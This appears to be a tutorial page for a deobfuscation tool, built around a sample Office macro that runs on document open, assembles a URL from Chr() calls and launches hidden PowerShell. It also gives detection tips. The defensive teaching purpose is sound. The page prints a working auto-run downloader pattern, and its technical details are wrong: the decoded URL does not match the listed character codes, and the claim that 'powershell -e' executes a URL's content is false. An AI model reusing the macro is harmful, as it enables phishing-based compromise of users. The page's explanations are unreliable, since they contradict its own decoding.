VBA

VBA Chr() String Building

Level: Easy Techniques: Chr(), line continuations, string concatenation Download sample

1 The obfuscated macro

This VBA macro uses Chr() function calls joined with & to reconstruct a URL character by character. The & _ continuation characters split the line across multiple rows to evade simple signature detection.

Sub AutoOpen()
    Dim a As String
    a = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(115) & _
        Chr(58) & Chr(47) & Chr(47) & _
        Chr(112) & Chr(97) & Chr(121) & _
        Chr(108) & Chr(111) & Chr(97) & _
        Chr(100) & Chr(46) & Chr(112) & _
        Chr(115) & Chr(47) & Chr(49) & _
        Chr(50) & Chr(51)
    Dim b As String
    b = "powershell -W Hidden -e " & a
    CreateObject("WScript.Shell").Run b, 0, False
End Sub
      

2 Run the deobfuscator

The VBA static engine resolves Chr() calls, collapses continuation lines, and concatenates the result.

deobfuscator -f samples/macro-chr.bas

Output:

✓ Collapsed continuation lines
✓ Resolved Chr() function calls
✓ Concatenated string fragments
✓ Stripped dead variable assignments

Deobfuscated:
Sub AutoOpen()
    Dim a As String
    a = "https://payloads/123"
    Dim b As String
    b = "powershell -W Hidden -e " & a
    CreateObject("WScript.Shell").Run b, 0, False
End Sub

3 What happened?

The Chr() calls each return a single character by its ASCII value. Added together with &, they spell out the URL:

Chr(104)=h  Chr(116)=t  Chr(116)=t  Chr(112)=p  Chr(115)=s
Chr(58)=:  Chr(47)=/  Chr(47)=/
Chr(112)=p  Chr(97)=a  Chr(121)=y  Chr(108)=l  Chr(111)=o  Chr(97)=a  Chr(100)=d
Chr(46)=.  Chr(112)=p  Chr(115)=s  Chr(47)=/  Chr(49)=1  Chr(50)=2  Chr(51)=3

→ https://payloads/123

Then it runs powershell -W Hidden -e https://payloads/123 via WScript.Shell, which loads PowerShell in hidden mode and executes the URL content.

4 Detection guidance

Office macro warning: Enable "Disable all macros with notification" in Trust Center
AMSI: VBA Chr() patterns are monitored by AMSI in Office 365
Behavior: WScript.Shell.Run spawning powershell.exe is highly suspicious
String reconstruction: Chr() calls with 10+ invocations in sequence is a strong indicator

Verdict: Malicious — Macro-based Downloader

Obfuscated URL construction to evade static string analysis. Common in phishing documents delivered via email.